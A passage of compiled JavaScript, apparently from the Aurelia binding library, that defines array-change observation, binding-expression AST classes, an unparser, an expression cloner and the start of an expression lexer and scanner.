this.__array_observer__.reset(oldArray);
}
return methodCallResult;
};
Array.prototype.splice = function () {
var methodCallResult = splice.apply(this, arguments);
if (this.__array_observer__ !== undefined) {
this.__array_observer__.addChangeRecord({
type: 'splice',
object: this,
index: +arguments[0],
removed: methodCallResult,
addedCount: arguments.length > 2 ? arguments.length - 2 : 0
});
}
return methodCallResult;
};
Array.prototype.unshift = function () {
var methodCallResult = unshift.apply(this, arguments);
if (this.__array_observer__ !== undefined) {
this.__array_observer__.addChangeRecord({
type: 'splice',
object: this,
index: 0,
removed: [],
addedCount: arguments.length
});
}
return methodCallResult;
};
function _getArrayObserver(taskQueue, array) {
return ModifyArrayObserver.for(taskQueue, array);
}
exports.getArrayObserver = _getArrayObserver;
var ModifyArrayObserver = function (_ModifyCollectionObse) {
_inherits(ModifyArrayObserver, _ModifyCollectionObse);
function ModifyArrayObserver(taskQueue, array) {
return _possibleConstructorReturn(this, _ModifyCollectionObse.call(this, taskQueue, array));
}
ModifyArrayObserver.for = function _for(taskQueue, array) {
if (!('__array_observer__' in array)) {
Reflect.defineProperty(array, '__array_observer__', {
value: ModifyArrayObserver.create(taskQueue, array),
enumerable: false, configurable: false
});
}
return array.__array_observer__;
};
ModifyArrayObserver.create = function create(taskQueue, array) {
return new ModifyArrayObserver(taskQueue, array);
};
return ModifyArrayObserver;
}(ModifyCollectionObserver);
var Expression = exports.Expression = function () {
function Expression() {
this.isChain = false;
this.isAssignable = false;
}
Expression.prototype.evaluate = function evaluate(scope, lookupFunctions, args) {
throw new Error('Binding expression "' + this + '" cannot be evaluated.');
};
Expression.prototype.assign = function assign(scope, value, lookupFunctions) {
throw new Error('Binding expression "' + this + '" cannot be assigned to.');
};
Expression.prototype.toString = function toString() {
return typeof FEATURE_NO_UNPARSER === 'undefined' ? _Unparser.unparse(this) : Function.prototype.toString.call(this);
};
return Expression;
}();
var Chain = exports.Chain = function (_Expression) {
_inherits(Chain, _Expression);
function Chain(expressions) {
var _this3 = _possibleConstructorReturn(this, _Expression.call(this));
_this3.expressions = expressions;
_this3.isChain = true;
return _this3;
}
Chain.prototype.evaluate = function evaluate(scope, lookupFunctions) {
var result = void 0;
var expressions = this.expressions;
var last = void 0;
for (var _i7 = 0, length = expressions.length; _i7 < length; ++_i7) {
last = expressions[_i7].evaluate(scope, lookupFunctions);
if (last !== null) {
result = last;
}
}
return result;
};
Chain.prototype.accept = function accept(visitor) {
return visitor.visitChain(this);
};
return Chain;
}(Expression);
var BindingBehavior = exports.BindingBehavior = function (_Expression2) {
_inherits(BindingBehavior, _Expression2);
function BindingBehavior(expression, name, args) {
var _this4 = _possibleConstructorReturn(this, _Expression2.call(this));
_this4.expression = expression;
_this4.name = name;
_this4.args = args;
return _this4;
}
BindingBehavior.prototype.evaluate = function evaluate(scope, lookupFunctions) {
return this.expression.evaluate(scope, lookupFunctions);
};
BindingBehavior.prototype.assign = function assign(scope, value, lookupFunctions) {
return this.expression.assign(scope, value, lookupFunctions);
};
BindingBehavior.prototype.accept = function accept(visitor) {
return visitor.visitBindingBehavior(this);
};
BindingBehavior.prototype.connect = function connect(binding, scope) {
this.expression.connect(binding, scope);
};
BindingBehavior.prototype.bind = function bind(binding, scope, lookupFunctions) {
if (this.expression.expression && this.expression.bind) {
this.expression.bind(binding, scope, lookupFunctions);
}
var behavior = lookupFunctions.bindingBehaviors(this.name);
if (!behavior) {
throw new Error('No BindingBehavior named "' + this.name + '" was found!');
}
var behaviorKey = 'behavior-' + this.name;
if (binding[behaviorKey]) {
throw new Error('A binding behavior named "' + this.name + '" has already been applied to "' + this.expression + '"');
}
binding[behaviorKey] = behavior;
behavior.bind.apply(behavior, [binding, scope].concat(evalList(scope, this.args, binding.lookupFunctions)));
};
BindingBehavior.prototype.unbind = function unbind(binding, scope) {
var behaviorKey = 'behavior-' + this.name;
binding[behaviorKey].unbind(binding, scope);
binding[behaviorKey] = null;
if (this.expression.expression && this.expression.unbind) {
this.expression.unbind(binding, scope);
}
};
return BindingBehavior;
}(Expression);
var ValueConverter = exports.ValueConverter = function (_Expression3) {
_inherits(ValueConverter, _Expression3);
function ValueConverter(expression, name, args, allArgs) {
var _this5 = _possibleConstructorReturn(this, _Expression3.call(this));
_this5.expression = expression;
_this5.name = name;
_this5.args = args;
_this5.allArgs = allArgs;
return _this5;
}
ValueConverter.prototype.evaluate = function evaluate(scope, lookupFunctions) {
var converter = lookupFunctions.valueConverters(this.name);
if (!converter) {
throw new Error('No ValueConverter named "' + this.name + '" was found!');
}
if ('toView' in converter) {
return converter.toView.apply(converter, evalList(scope, this.allArgs, lookupFunctions));
}
return this.allArgs[0].evaluate(scope, lookupFunctions);
};
ValueConverter.prototype.assign = function assign(scope, value, lookupFunctions) {
var converter = lookupFunctions.valueConverters(this.name);
if (!converter) {
throw new Error('No ValueConverter named "' + this.name + '" was found!');
}
if ('fromView' in converter) {
value = converter.fromView.apply(converter, [value].concat(evalList(scope, this.args, lookupFunctions)));
}
return this.allArgs[0].assign(scope, value, lookupFunctions);
};
ValueConverter.prototype.accept = function accept(visitor) {
return visitor.visitValueConverter(this);
};
ValueConverter.prototype.connect = function connect(binding, scope) {
var expressions = this.allArgs;
var i = expressions.length;
while (i--) {
expressions[i].connect(binding, scope);
}
};
return ValueConverter;
}(Expression);
var Assign = exports.Assign = function (_Expression4) {
_inherits(Assign, _Expression4);
function Assign(target, value) {
var _this6 = _possibleConstructorReturn(this, _Expression4.call(this));
_this6.target = target;
_this6.value = value;
_this6.isAssignable = true;
return _this6;
}
Assign.prototype.evaluate = function evaluate(scope, lookupFunctions) {
return this.target.assign(scope, this.value.evaluate(scope, lookupFunctions));
};
Assign.prototype.accept = function accept(vistor) {
vistor.visitAssign(this);
};
Assign.prototype.connect = function connect(binding, scope) {};
Assign.prototype.assign = function assign(scope, value) {
this.value.assign(scope, value);
this.target.assign(scope, value);
};
return Assign;
}(Expression);
var Conditional = exports.Conditional = function (_Expression5) {
_inherits(Conditional, _Expression5);
function Conditional(condition, yes, no) {
var _this7 = _possibleConstructorReturn(this, _Expression5.call(this));
_this7.condition = condition;
_this7.yes = yes;
_this7.no = no;
return _this7;
}
Conditional.prototype.evaluate = function evaluate(scope, lookupFunctions) {
return !!this.condition.evaluate(scope, lookupFunctions) ? this.yes.evaluate(scope, lookupFunctions) : this.no.evaluate(scope, lookupFunctions);
};
Conditional.prototype.accept = function accept(visitor) {
return visitor.visitConditional(this);
};
Conditional.prototype.connect = function connect(binding, scope) {
this.condition.connect(binding, scope);
if (this.condition.evaluate(scope)) {
this.yes.connect(binding, scope);
} else {
this.no.connect(binding, scope);
}
};
return Conditional;
}(Expression);
var AccessThis = exports.AccessThis = function (_Expression6) {
_inherits(AccessThis, _Expression6);
function AccessThis(ancestor) {
var _this8 = _possibleConstructorReturn(this, _Expression6.call(this));
_this8.ancestor = ancestor;
return _this8;
}
AccessThis.prototype.evaluate = function evaluate(scope, lookupFunctions) {
var oc = scope.overrideContext;
var i = this.ancestor;
while (i-- && oc) {
oc = oc.parentOverrideContext;
}
return i < 1 && oc ? oc.bindingContext : undefined;
};
AccessThis.prototype.accept = function accept(visitor) {
return visitor.visitAccessThis(this);
};
AccessThis.prototype.connect = function connect(binding, scope) {};
return AccessThis;
}(Expression);
var AccessScope = exports.AccessScope = function (_Expression7) {
_inherits(AccessScope, _Expression7);
function AccessScope(name, ancestor) {
var _this9 = _possibleConstructorReturn(this, _Expression7.call(this));
_this9.name = name;
_this9.ancestor = ancestor;
_this9.isAssignable = true;
return _this9;
}
AccessScope.prototype.evaluate = function evaluate(scope, lookupFunctions) {
var context = getContextFor(this.name, scope, this.ancestor);
return context[this.name];
};
AccessScope.prototype.assign = function assign(scope, value) {
var context = getContextFor(this.name, scope, this.ancestor);
return context ? context[this.name] = value : undefined;
};
AccessScope.prototype.accept = function accept(visitor) {
return visitor.visitAccessScope(this);
};
AccessScope.prototype.connect = function connect(binding, scope) {
var context = getContextFor(this.name, scope, this.ancestor);
binding.observeProperty(context, this.name);
};
return AccessScope;
}(Expression);
var AccessMember = exports.AccessMember = function (_Expression8) {
_inherits(AccessMember, _Expression8);
function AccessMember(object, name) {
var _this10 = _possibleConstructorReturn(this, _Expression8.call(this));
_this10.object = object;
_this10.name = name;
_this10.isAssignable = true;
return _this10;
}
AccessMember.prototype.evaluate = function evaluate(scope, lookupFunctions) {
var instance = this.object.evaluate(scope, lookupFunctions);
return instance === null || instance === undefined ? instance : instance[this.name];
};
AccessMember.prototype.assign = function assign(scope, value) {
var instance = this.object.evaluate(scope);
if (instance === null || instance === undefined) {
instance = {};
this.object.assign(scope, instance);
}
instance[this.name] = value;
return value;
};
AccessMember.prototype.accept = function accept(visitor) {
return visitor.visitAccessMember(this);
};
AccessMember.prototype.connect = function connect(binding, scope) {
this.object.connect(binding, scope);
var obj = this.object.evaluate(scope);
if (obj) {
binding.observeProperty(obj, this.name);
}
};
return AccessMember;
}(Expression);
var AccessKeyed = exports.AccessKeyed = function (_Expression9) {
_inherits(AccessKeyed, _Expression9);
function AccessKeyed(object, key) {
var _this11 = _possibleConstructorReturn(this, _Expression9.call(this));
_this11.object = object;
_this11.key = key;
_this11.isAssignable = true;
return _this11;
}
AccessKeyed.prototype.evaluate = function evaluate(scope, lookupFunctions) {
var instance = this.object.evaluate(scope, lookupFunctions);
var lookup = this.key.evaluate(scope, lookupFunctions);
return getKeyed(instance, lookup);
};
AccessKeyed.prototype.assign = function assign(scope, value) {
var instance = this.object.evaluate(scope);
var lookup = this.key.evaluate(scope);
return setKeyed(instance, lookup, value);
};
AccessKeyed.prototype.accept = function accept(visitor) {
return visitor.visitAccessKeyed(this);
};
AccessKeyed.prototype.connect = function connect(binding, scope) {
this.object.connect(binding, scope);
var obj = this.object.evaluate(scope);
if (obj instanceof Object) {
this.key.connect(binding, scope);
var key = this.key.evaluate(scope);
if (key !== null && key !== undefined && !(Array.isArray(obj) && typeof key === 'number')) {
binding.observeProperty(obj, key);
}
}
};
return AccessKeyed;
}(Expression);
var CallScope = exports.CallScope = function (_Expression10) {
_inherits(CallScope, _Expression10);
function CallScope(name, args, ancestor) {
var _this12 = _possibleConstructorReturn(this, _Expression10.call(this));
_this12.name = name;
_this12.args = args;
_this12.ancestor = ancestor;
return _this12;
}
CallScope.prototype.evaluate = function evaluate(scope, lookupFunctions, mustEvaluate) {
var args = evalList(scope, this.args, lookupFunctions);
var context = getContextFor(this.name, scope, this.ancestor);
var func = getFunction(context, this.name, mustEvaluate);
if (func) {
return func.apply(context, args);
}
return undefined;
};
CallScope.prototype.accept = function accept(visitor) {
return visitor.visitCallScope(this);
};
CallScope.prototype.connect = function connect(binding, scope) {
var args = this.args;
var i = args.length;
while (i--) {
args[i].connect(binding, scope);
}
};
return CallScope;
}(Expression);
var CallMember = exports.CallMember = function (_Expression11) {
_inherits(CallMember, _Expression11);
function CallMember(object, name, args) {
var _this13 = _possibleConstructorReturn(this, _Expression11.call(this));
_this13.object = object;
_this13.name = name;
_this13.args = args;
return _this13;
}
CallMember.prototype.evaluate = function evaluate(scope, lookupFunctions, mustEvaluate) {
var instance = this.object.evaluate(scope, lookupFunctions);
var args = evalList(scope, this.args, lookupFunctions);
var func = getFunction(instance, this.name, mustEvaluate);
if (func) {
return func.apply(instance, args);
}
return undefined;
};
CallMember.prototype.accept = function accept(visitor) {
return visitor.visitCallMember(this);
};
CallMember.prototype.connect = function connect(binding, scope) {
this.object.connect(binding, scope);
var obj = this.object.evaluate(scope);
if (getFunction(obj, this.name, false)) {
var args = this.args;
var _i8 = args.length;
while (_i8--) {
args[_i8].connect(binding, scope);
}
}
};
return CallMember;
}(Expression);
var CallFunction = exports.CallFunction = function (_Expression12) {
_inherits(CallFunction, _Expression12);
function CallFunction(func, args) {
var _this14 = _possibleConstructorReturn(this, _Expression12.call(this));
_this14.func = func;
_this14.args = args;
return _this14;
}
CallFunction.prototype.evaluate = function evaluate(scope, lookupFunctions, mustEvaluate) {
var func = this.func.evaluate(scope, lookupFunctions);
if (typeof func === 'function') {
return func.apply(null, evalList(scope, this.args, lookupFunctions));
}
if (!mustEvaluate && (func === null || func === undefined)) {
return undefined;
}
throw new Error(this.func + ' is not a function');
};
CallFunction.prototype.accept = function accept(visitor) {
return visitor.visitCallFunction(this);
};
CallFunction.prototype.connect = function connect(binding, scope) {
this.func.connect(binding, scope);
var func = this.func.evaluate(scope);
if (typeof func === 'function') {
var args = this.args;
var _i9 = args.length;
while (_i9--) {
args[_i9].connect(binding, scope);
}
}
};
return CallFunction;
}(Expression);
var Binary = exports.Binary = function (_Expression13) {
_inherits(Binary, _Expression13);
function Binary(operation, left, right) {
var _this15 = _possibleConstructorReturn(this, _Expression13.call(this));
_this15.operation = operation;
_this15.left = left;
_this15.right = right;
return _this15;
}
Binary.prototype.evaluate = function evaluate(scope, lookupFunctions) {
var left = this.left.evaluate(scope, lookupFunctions);
switch (this.operation) {
case '&&':
return left && this.right.evaluate(scope, lookupFunctions);
case '||':
return left || this.right.evaluate(scope, lookupFunctions);
}
var right = this.right.evaluate(scope, lookupFunctions);
switch (this.operation) {
case '==':
return left == right;
case '===':
return left === right;
case '!=':
return left != right;
case '!==':
return left !== right;
}
if (left === null || right === null || left === undefined || right === undefined) {
switch (this.operation) {
case '+':
if (left !== null && left !== undefined) return left;
if (right !== null && right !== undefined) return right;
return 0;
case '-':
if (left !== null && left !== undefined) return left;
if (right !== null && right !== undefined) return 0 - right;
return 0;
}
return null;
}
switch (this.operation) {
case '+':
return autoConvertAdd(left, right);
case '-':
return left - right;
case '*':
return left * right;
case '/':
return left / right;
case '%':
return left % right;
case '<':
return left < right;
case '>':
return left > right;
case '<=':
return left <= right;
case '>=':
return left >= right;
case '^':
return left ^ right;
}
throw new Error('Internal error [' + this.operation + '] not handled');
};
Binary.prototype.accept = function accept(visitor) {
return visitor.visitBinary(this);
};
Binary.prototype.connect = function connect(binding, scope) {
this.left.connect(binding, scope);
var left = this.left.evaluate(scope);
if (this.operation === '&&' && !left || this.operation === '||' && left) {
return;
}
this.right.connect(binding, scope);
};
return Binary;
}(Expression);
var PrefixNot = exports.PrefixNot = function (_Expression14) {
_inherits(PrefixNot, _Expression14);
function PrefixNot(operation, expression) {
var _this16 = _possibleConstructorReturn(this, _Expression14.call(this));
_this16.operation = operation;
_this16.expression = expression;
return _this16;
}
PrefixNot.prototype.evaluate = function evaluate(scope, lookupFunctions) {
return !this.expression.evaluate(scope, lookupFunctions);
};
PrefixNot.prototype.accept = function accept(visitor) {
return visitor.visitPrefix(this);
};
PrefixNot.prototype.connect = function connect(binding, scope) {
this.expression.connect(binding, scope);
};
return PrefixNot;
}(Expression);
var LiteralPrimitive = exports.LiteralPrimitive = function (_Expression15) {
_inherits(LiteralPrimitive, _Expression15);
function LiteralPrimitive(value) {
var _this17 = _possibleConstructorReturn(this, _Expression15.call(this));
_this17.value = value;
return _this17;
}
LiteralPrimitive.prototype.evaluate = function evaluate(scope, lookupFunctions) {
return this.value;
};
LiteralPrimitive.prototype.accept = function accept(visitor) {
return visitor.visitLiteralPrimitive(this);
};
LiteralPrimitive.prototype.connect = function connect(binding, scope) {};
return LiteralPrimitive;
}(Expression);
var LiteralString = exports.LiteralString = function (_Expression16) {
_inherits(LiteralString, _Expression16);
function LiteralString(value) {
var _this18 = _possibleConstructorReturn(this, _Expression16.call(this));
_this18.value = value;
return _this18;
}
LiteralString.prototype.evaluate = function evaluate(scope, lookupFunctions) {
return this.value;
};
LiteralString.prototype.accept = function accept(visitor) {
return visitor.visitLiteralString(this);
};
LiteralString.prototype.connect = function connect(binding, scope) {};
return LiteralString;
}(Expression);
var LiteralArray = exports.LiteralArray = function (_Expression17) {
_inherits(LiteralArray, _Expression17);
function LiteralArray(elements) {
var _this19 = _possibleConstructorReturn(this, _Expression17.call(this));
_this19.elements = elements;
return _this19;
}
LiteralArray.prototype.evaluate = function evaluate(scope, lookupFunctions) {
var elements = this.elements;
var result = [];
for (var _i10 = 0, length = elements.length; _i10 < length; ++_i10) {
result[_i10] = elements[_i10].evaluate(scope, lookupFunctions);
}
return result;
};
LiteralArray.prototype.accept = function accept(visitor) {
return visitor.visitLiteralArray(this);
};
LiteralArray.prototype.connect = function connect(binding, scope) {
var length = this.elements.length;
for (var _i11 = 0; _i11 < length; _i11++) {
this.elements[_i11].connect(binding, scope);
}
};
return LiteralArray;
}(Expression);
var LiteralObject = exports.LiteralObject = function (_Expression18) {
_inherits(LiteralObject, _Expression18);
function LiteralObject(keys, values) {
var _this20 = _possibleConstructorReturn(this, _Expression18.call(this));
_this20.keys = keys;
_this20.values = values;
return _this20;
}
LiteralObject.prototype.evaluate = function evaluate(scope, lookupFunctions) {
var instance = {};
var keys = this.keys;
var values = this.values;
for (var _i12 = 0, length = keys.length; _i12 < length; ++_i12) {
instance[keys[_i12]] = values[_i12].evaluate(scope, lookupFunctions);
}
return instance;
};
LiteralObject.prototype.accept = function accept(visitor) {
return visitor.visitLiteralObject(this);
};
LiteralObject.prototype.connect = function connect(binding, scope) {
var length = this.keys.length;
for (var _i13 = 0; _i13 < length; _i13++) {
this.values[_i13].connect(binding, scope);
}
};
return LiteralObject;
}(Expression);
function evalList(scope, list, lookupFunctions) {
var length = list.length;
var result = [];
for (var _i14 = 0; _i14 < length; _i14++) {
result[_i14] = list[_i14].evaluate(scope, lookupFunctions);
}
return result;
}
function autoConvertAdd(a, b) {
if (a !== null && b !== null) {
if (typeof a === 'string' && typeof b !== 'string') {
return a + b.toString();
}
if (typeof a !== 'string' && typeof b === 'string') {
return a.toString() + b;
}
return a + b;
}
if (a !== null) {
return a;
}
if (b !== null) {
return b;
}
return 0;
}
function getFunction(obj, name, mustExist) {
var func = obj === null || obj === undefined ? null : obj[name];
if (typeof func === 'function') {
return func;
}
if (!mustExist && (func === null || func === undefined)) {
return null;
}
throw new Error(name + ' is not a function');
}
function getKeyed(obj, key) {
if (Array.isArray(obj)) {
return obj[parseInt(key, 10)];
} else if (obj) {
return obj[key];
} else if (obj === null || obj === undefined) {
return undefined;
}
return obj[key];
}
function setKeyed(obj, key, value) {
if (Array.isArray(obj)) {
var index = parseInt(key, 10);
if (obj.length <= index) {
obj.length = index + 1;
}
obj[index] = value;
} else {
obj[key] = value;
}
return value;
}
var _Unparser = null;
exports.Unparser = _Unparser;
if (typeof FEATURE_NO_UNPARSER === 'undefined') {
exports.Unparser = _Unparser = function () {
function Unparser(buffer) {
this.buffer = buffer;
}
Unparser.unparse = function unparse(expression) {
var buffer = [];
var visitor = new _Unparser(buffer);
expression.accept(visitor);
return buffer.join('');
};
Unparser.prototype.write = function write(text) {
this.buffer.push(text);
};
Unparser.prototype.writeArgs = function writeArgs(args) {
this.write('(');
for (var _i15 = 0, length = args.length; _i15 < length; ++_i15) {
if (_i15 !== 0) {
this.write(',');
}
args[_i15].accept(this);
}
this.write(')');
};
Unparser.prototype.visitChain = function visitChain(chain) {
var expressions = chain.expressions;
for (var _i16 = 0, length = expression.length; _i16 < length; ++_i16) {
if (_i16 !== 0) {
this.write(';');
}
expressions[_i16].accept(this);
}
};
Unparser.prototype.visitBindingBehavior = function visitBindingBehavior(behavior) {
var args = behavior.args;
behavior.expression.accept(this);
this.write('&' + behavior.name);
for (var _i17 = 0, length = args.length; _i17 < length; ++_i17) {
this.write(':');
args[_i17].accept(this);
}
};
Unparser.prototype.visitValueConverter = function visitValueConverter(converter) {
var args = converter.args;
converter.expression.accept(this);
this.write('|' + converter.name);
for (var _i18 = 0, length = args.length; _i18 < length; ++_i18) {
this.write(':');
args[_i18].accept(this);
}
};
Unparser.prototype.visitAssign = function visitAssign(assign) {
assign.target.accept(this);
this.write('=');
assign.value.accept(this);
};
Unparser.prototype.visitConditional = function visitConditional(conditional) {
conditional.condition.accept(this);
this.write('?');
conditional.yes.accept(this);
this.write(':');
conditional.no.accept(this);
};
Unparser.prototype.visitAccessThis = function visitAccessThis(access) {
if (access.ancestor === 0) {
this.write('$this');
return;
}
this.write('$parent');
var i = access.ancestor - 1;
while (i--) {
this.write('.$parent');
}
};
Unparser.prototype.visitAccessScope = function visitAccessScope(access) {
var i = access.ancestor;
while (i--) {
this.write('$parent.');
}
this.write(access.name);
};
Unparser.prototype.visitAccessMember = function visitAccessMember(access) {
access.object.accept(this);
this.write('.' + access.name);
};
Unparser.prototype.visitAccessKeyed = function visitAccessKeyed(access) {
access.object.accept(this);
this.write('[');
access.key.accept(this);
this.write(']');
};
Unparser.prototype.visitCallScope = function visitCallScope(call) {
var i = call.ancestor;
while (i--) {
this.write('$parent.');
}
this.write(call.name);
this.writeArgs(call.args);
};
Unparser.prototype.visitCallFunction = function visitCallFunction(call) {
call.func.accept(this);
this.writeArgs(call.args);
};
Unparser.prototype.visitCallMember = function visitCallMember(call) {
call.object.accept(this);
this.write('.' + call.name);
this.writeArgs(call.args);
};
Unparser.prototype.visitPrefix = function visitPrefix(prefix) {
this.write('(' + prefix.operation);
prefix.expression.accept(this);
this.write(')');
};
Unparser.prototype.visitBinary = function visitBinary(binary) {
binary.left.accept(this);
this.write(binary.operation);
binary.right.accept(this);
};
Unparser.prototype.visitLiteralPrimitive = function visitLiteralPrimitive(literal) {
this.write('' + literal.value);
};
Unparser.prototype.visitLiteralArray = function visitLiteralArray(literal) {
var elements = literal.elements;
this.write('[');
for (var _i19 = 0, length = elements.length; _i19 < length; ++_i19) {
if (_i19 !== 0) {
this.write(',');
}
elements[_i19].accept(this);
}
this.write(']');
};
Unparser.prototype.visitLiteralObject = function visitLiteralObject(literal) {
var keys = literal.keys;
var values = literal.values;
this.write('{');
for (var _i20 = 0, length = keys.length; _i20 < length; ++_i20) {
if (_i20 !== 0) {
this.write(',');
}
this.write('\'' + keys[_i20] + '\':');
values[_i20].accept(this);
}
this.write('}');
};
Unparser.prototype.visitLiteralString = function visitLiteralString(literal) {
var escaped = literal.value.replace(/'/g, "\'");
this.write('\'' + escaped + '\'');
};
return Unparser;
}();
}
var ExpressionCloner = exports.ExpressionCloner = function () {
function ExpressionCloner() {
}
ExpressionCloner.prototype.cloneExpressionArray = function cloneExpressionArray(array) {
var clonedArray = [];
var i = array.length;
while (i--) {
clonedArray[i] = array[i].accept(this);
}
return clonedArray;
};
ExpressionCloner.prototype.visitChain = function visitChain(chain) {
return new Chain(this.cloneExpressionArray(chain.expressions));
};
ExpressionCloner.prototype.visitBindingBehavior = function visitBindingBehavior(behavior) {
return new BindingBehavior(behavior.expression.accept(this), behavior.name, this.cloneExpressionArray(behavior.args));
};
ExpressionCloner.prototype.visitValueConverter = function visitValueConverter(converter) {
return new ValueConverter(converter.expression.accept(this), converter.name, this.cloneExpressionArray(converter.args));
};
ExpressionCloner.prototype.visitAssign = function visitAssign(assign) {
return new Assign(assign.target.accept(this), assign.value.accept(this));
};
ExpressionCloner.prototype.visitConditional = function visitConditional(conditional) {
return new Conditional(conditional.condition.accept(this), conditional.yes.accept(this), conditional.no.accept(this));
};
ExpressionCloner.prototype.visitAccessThis = function visitAccessThis(access) {
return new AccessThis(access.ancestor);
};
ExpressionCloner.prototype.visitAccessScope = function visitAccessScope(access) {
return new AccessScope(access.name, access.ancestor);
};
ExpressionCloner.prototype.visitAccessMember = function visitAccessMember(access) {
return new AccessMember(access.object.accept(this), access.name);
};
ExpressionCloner.prototype.visitAccessKeyed = function visitAccessKeyed(access) {
return new AccessKeyed(access.object.accept(this), access.key.accept(this));
};
ExpressionCloner.prototype.visitCallScope = function visitCallScope(call) {
return new CallScope(call.name, this.cloneExpressionArray(call.args), call.ancestor);
};
ExpressionCloner.prototype.visitCallFunction = function visitCallFunction(call) {
return new CallFunction(call.func.accept(this), this.cloneExpressionArray(call.args));
};
ExpressionCloner.prototype.visitCallMember = function visitCallMember(call) {
return new CallMember(call.object.accept(this), call.name, this.cloneExpressionArray(call.args));
};
ExpressionCloner.prototype.visitPrefix = function visitPrefix(prefix) {
return new PrefixNot(prefix.operation, prefix.expression.accept(this));
};
ExpressionCloner.prototype.visitBinary = function visitBinary(binary) {
return new Binary(binary.operation, binary.left.accept(this), binary.right.accept(this));
};
ExpressionCloner.prototype.visitLiteralPrimitive = function visitLiteralPrimitive(literal) {
return new LiteralPrimitive(literal);
};
ExpressionCloner.prototype.visitLiteralArray = function visitLiteralArray(literal) {
return new LiteralArray(this.cloneExpressionArray(literal.elements));
};
ExpressionCloner.prototype.visitLiteralObject = function visitLiteralObject(literal) {
return new LiteralObject(literal.keys, this.cloneExpressionArray(literal.values));
};
ExpressionCloner.prototype.visitLiteralString = function visitLiteralString(literal) {
return new LiteralString(literal.value);
};
return ExpressionCloner;
}();
function cloneExpression(expression) {
var visitor = new ExpressionCloner();
return expression.accept(visitor);
}
var bindingMode = exports.bindingMode = {
oneTime: 0,
oneWay: 1,
twoWay: 2
};
var Token = exports.Token = function () {
function Token(index, text) {
this.index = index;
this.text = text;
}
Token.prototype.withOp = function withOp(op) {
this.opKey = op;
return this;
};
Token.prototype.withGetterSetter = function withGetterSetter(key) {
this.key = key;
return this;
};
Token.prototype.withValue = function withValue(value) {
this.value = value;
return this;
};
Token.prototype.toString = function toString() {
return 'Token(' + this.text + ')';
};
return Token;
}();
var Lexer = exports.Lexer = function () {
function Lexer() {
}
Lexer.prototype.lex = function lex(text) {
var scanner = new Scanner(text);
var tokens = [];
var token = scanner.scanToken();
while (token) {
tokens.push(token);
token = scanner.scanToken();
}
return tokens;
};
return Lexer;
}();
var Scanner = exports.Scanner = function () {
function Scanner(input) {
this.input = input;
this.length = input.length;
this.peek = 0;
this.index = -1;
this.advance();
}
Scanner.prototype.scanToken = function scanToken() {
while (this.peek <= $SPACE) {
if (++this.index >= this.length) {
this.peek = $EOF;
return null;
}
this.peek = this.input.charCodeAt(this.index);
}
if (isIdentifierStart(this.peek)) {
return this.scanIdentifier();
}
if (isDigit(this.peek)) {
return this.scanNumber(this.index);
}
var start = this.index;
switch (this.peek) {
case $PERIOD:
this.advance();
return isDigit(this.peek) ? this.scanNumber(start) : new Token(start, '.');
case $LPAREN:
case $RPAREN:
case $LBRACE:
case $RBRACE:
case $LBRACKET:
case $RBRACKET:
case $COMMA:
case $COLON:
case $SEMICOLON:
return this.scanCharacter(start, String.fromCharCode(this.peek));
case $SQ:
case $DQ:
return this.scanString();
case $PLUS:
case $MINUS:
case $STAR:
case $SLASH:
case $PERCENT:
case $CARET:
case $QUESTION:
return this.scanOperator(start, String.fromCharCode(this.peek));
case $LT:
case $GT:
case $BANG:
case $EQ:
return this.scanComplexOperator(start, $EQ, String.fromCharCode(this.peek), '=');
case $AMPERSAND:
return this.scanComplexOperator(start, $AMPERSAND, '&', '&');
case $BAR:
return this.scanComplexOperator(start, $BAR, '|', '|');
case $NBSP:
while (isWhitespace(this.peek)) {
this.advance();
}
return this.scanToken();
}
var character = String.fromCharCode(this.peek);
this.error('Unexpected character [' + character + ']');
return null;
};
Scanner.prototype.scanCharacter = function scanCharacter(start, text) {
assert(this.peek === text.charCodeAt(0));
this.advance();
return new Token(start, text);
};
Scanner.prototype.scanOperator = function scanOperator(start, text) {
assert(this.peek === text.charCodeAt(0));
assert(OPERATORS.indexOf(text) !== -1);
this.advance();
return new Token(start, text).withOp(text);
};
Scanner.prototype.scanComplexOperator = function scanComplexOperator(start, code, one, two) {
assert(this.peek === one.charCodeAt(0));
this.advance();
var text = one;
if (this.peek === code) {
this.advance();
text += two;
}
if (this.peek === code) {
this.advance();
text += two;
}
assert(OPERATORS.indexOf(text) !== -1);
return new Token(start, text).withOp(text);
};
Scanner.prototype.scanIdentifier = function scanIdentifier() {
assert(isIdentifierStart(this.peek));
var start = this.index;
this.advance();
while (isIdentifierPart(this.peek)) {
this.advance();
}
var text = this.input.substring(start, this.index);
var result = new Token(start, text);
if (OPERATORS.indexOf(text) !== -1) {
result.withOp(text);
} else {
result.withGetterSetter(text);
}
return result;
};
Scanner.prototype.scanNumber = function scanNumber(start) {
assert(isDigit(this.peek));
var simple = this.index === start;
this.advance();
while (true) {
if (!isDigit(this.peek)) {
if (this.peek === $PERIOD) {
simple = false;
} else if (isExponentStart(this.peek)) {
this.advance();
if (isExponentSign(this.peek)) {
this.advance();
}
if (!isDigit(this.peek)) {
this.error('Invalid exponent', -1);
}
simple = false;
} else {
break;
}
}
this.advance();
}
var text = this.input.substring(start, this.index);
var value = simple ? parseInt(text, 10) : parseFloat(text);
return new Token(start, text).withValue(value);
};
Scanner.prototype.scanString = function scanString() {
assert(this.peek === $SQ || this.peek === $DQ);
var start = this.index;
var quote = this.peek;
this.advance();
var buffer = void 0;
var marker = this.index;
while (this.peek !== quote) {
if (this.peek === $BACKSLASH) {
if (!buffer) {
buffer = [];
}
buffer.push(this.input.substring(marker, this.index));
this.advance();
var _unescaped = void 0;
if (this.peek === $u) {
var hex = this.input.substring(this.index + 1, this.index + 5);
if (!/[A-Z0-9]{4}/.test(hex)) {
this.error('Invalid unicode escape [\\u' + hex + ']');
}
_unescaped = parseInt(hex, 16);
for (var _i21 = 0; _i21 < 5; ++_i21) {
this.advance();
}
} else {
_unescaped = unescape(this.peek);
this.advance();
}
buffer.push(String.fromCharCode(_unescaped));
marker = this.index;
} else if (this.peek === $EOF) {
this.error('Unterminated quote');
} else {
this.advance();
}
}
var last = this.input.substring(marker, this.index);
this.advance();
var text = this.input.substring(start, this.index);
var unescaped = last;
if (buffer !== null && buffer !== undefined) {
buffer.push(last);
unescaped = buffer.join('');
}
return new Token(start, text).withValue(unescaped);
};
Scanner.prototype.advance = function advance() {
if (++this.index >= this.length) {
this.peek = $EOF;
} else {
this.peek = this.input.charCodeAt(this.index);
}
};
Scanner.prototype.error = function error(message) {
var offset = arguments.length <= 1 || arguments[1] === undefined ? 0 : arguments[1];
var position = this.index + offset;
